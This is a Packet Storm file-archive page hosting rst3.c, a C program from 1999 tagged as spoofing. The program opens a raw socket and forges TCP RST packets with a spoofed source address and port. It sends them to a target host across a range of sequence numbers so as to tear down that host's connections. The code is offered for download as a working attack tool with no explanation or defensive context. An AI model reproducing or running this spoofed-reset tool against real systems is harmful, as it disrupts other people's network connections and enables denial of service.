exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

rst3.c

rst3.c
Posted Aug 17, 1999

No information is available for this file.

tags | spoof
systems | unix
SHA-256 | c358c1545d32b5aa34afd3423a7844fd98f33619c1407472aa527b30c53552b6

rst3.c

Change Mirror Download
#include "tcpip.h"
/* #include "/usr/src/see/srvent.h" */

void sendpack(char *fromhost, int fromport, char *tohost, int toport,
u_long seqnz) {
char *packet;
char *tcppacket;
char *sendme;
static struct sockaddr_in local, remote;
static int sock = 0;
if (!sock) {
resolve_address((struct sockaddr *)&local, fromhost, fromport);
resolve_address((struct sockaddr *)&remote, tohost, toport);
sock = socket(AF_INET, SOCK_RAW, 255);
if (sock == -1) { perror("Getting raw socket"); exit(-1); }
}
tcppacket = create_tcp(local.sin_addr.s_addr, remote.sin_addr.s_addr,
local.sin_port, remote.sin_port, seqnz, 0, TH_RST,
NULL, 0);
packet = create_ip(local.sin_addr.s_addr, remote.sin_addr.s_addr,
6, 24, 4, tcppacket, 20);
{
int result;

result = sendto(sock, packet, 40, 0,
(struct sockaddr *)&remote, sizeof(remote));
if (result != 40) { perror("sending packet"); }
}
}

main(int argc, char **argv) {
double pert;
if (argc<7) {
printf("usage: %s <from host> <from port> <to host> <to port> <sequence>\n", argv[0]);
exit(-1);
}
for ( pert = strtod(argv[5]) ; pert < strtod(argv[6] ); pert++ ) {
#ifdef SERVPORTIE
printf("fake: %s.%s --> %s.%s %ld\n", argv[1], tcp_servport(atoi(argv[2])),
argv[3], tcp_servport(atoi(argv[4])), pert);
#else
printf("fake: %s.%d --> %s.%d %ld\n", argv[1], atoi(argv[2]), argv[3],
atoi(argv[4]), pert);
#endif
sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]), pert);
}
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close